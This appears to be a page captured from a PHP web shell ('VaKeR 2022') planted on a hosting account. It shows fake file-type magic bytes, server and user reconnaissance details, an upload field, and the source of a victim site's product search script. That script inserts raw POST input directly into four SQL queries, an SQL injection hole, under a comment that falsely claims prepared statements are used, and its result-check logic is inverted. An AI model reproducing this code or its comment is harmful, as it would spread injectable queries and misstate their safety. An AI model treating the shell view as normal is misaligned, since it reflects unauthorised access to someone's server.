.

%PDF- %GIF98; %PNG; . Cyber Programmer

Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory : /home1/ndkhermy/www/website_93b53270/

Upload File :

Current File : /home1/ndkhermy/www/website_93b53270/searchproduct.php

<?php include('header.php'); ?>

<div class="breadcrumb bread-img text-white text-center">
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<h1>Search</h1>
				<ul class="ps-0">
					<li><a href="<?=$base_url?>">Home</a></li><span class="pipe"> / </span>
					<li>Search</li>
				</ul>
			</div>
		</div>
	</div>
</div>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['search'])) {
    $searchQuery = trim($_POST['search']);

    // Use prepared statements to prevent SQL injection
    $query = " SELECT * FROM `product_tbl` WHERE status='1' AND (title LIKE '%$searchQuery%' OR product_id LIKE '%$searchQuery%') AND service_id='0' LIMIT 20";

    $query1 = " SELECT * FROM `product_tbl` WHERE status='1' AND (title LIKE '%$searchQuery%' OR product_id LIKE '%$searchQuery%') AND service_id!='0' LIMIT 20";

    $query2 = "SELECT * FROM product_product_sevice_tbl WHERE status = '1' AND title LIKE '%$searchQuery%' LIMIT 20";

    $query3 = "SELECT * FROM sevice_tbl WHERE status = '1' AND title LIKE '%$searchQuery%' AND id != '1' LIMIT 20";

    $stmt = mysqli_query($conn, $query);
    $stmt1 = mysqli_query($conn, $query1);
    $stmt2 = mysqli_query($conn, $query2);
    $stmt3 = mysqli_query($conn, $query3);

    if(mysqli_num_rows($stmt)<1 || mysqli_num_rows($stmt1)<1 || mysqli_num_rows($stmt2)<1 || mysqli_num_rows($stmt3)<=1){
?>

<section>
	<div class="container">
		<div class="row">
			<div class="col-md-12">
                <h4 class="text-danger text-center">Products List</h4>
				<div class="bg-white br-20 box-shadow p-5 my-5">
					<?php 
					if (mysqli_num_rows($stmt) > 0) {
                        while ($results = mysqli_fetch_assoc($stmt)) {
                            $catId = (int) $results['cat_id'];
                            $catQuery = mysqli_query($conn, "SELECT * FROM `product_product_sevice_tbl` WHERE id = '$catId'");
                            $pro_cat = mysqli_fetch_array($catQuery);
                            echo '<a href="' . $base_url . htmlspecialchars($pro_cat['slug'], ENT_QUOTES, 'UTF-8') . '-prod.php#find_pro_' . $results['id'] . '" class="dropdown-item">';
                            echo '<img src="' . $base_url . 'images/Upload/product/' . htmlspecialchars($results['image1'], ENT_QUOTES, 'UTF-8') . '" alt="Product Image" style="width: 50px; height: 50px; margin-right: 10px;">';
                            echo wordwrap(htmlspecialchars($results['title'], ENT_QUOTES, 'UTF-8'), 60, '<br>');
                            echo '</a>';
                        }
                    }                        
					?>
				</div>
			</div>
		</div>
	</div>
</section>

<?php }else{ ?>
<section>
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<div class="bg-white br-20 box-shadow p-5 my-5">
                    <h4 class="mb-3 fw-bold text-danger text-center">Product Not Found Please Check Your Search Key</h4>
                </div>
            </div>
        </div>
    </div>
</section>
<?php } }else{ ?>
<section>
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<div class="bg-white br-20 box-shadow p-5 my-5">
                    <h4 class="mb-3 fw-bold text-danger text-center">Product Not Found Please Check Your Search Key</h4>
                </div>
            </div>
        </div>
    </div>
</section>
<?php }  ?>
<?php include('footer.php'); ?>

VaKeR 2022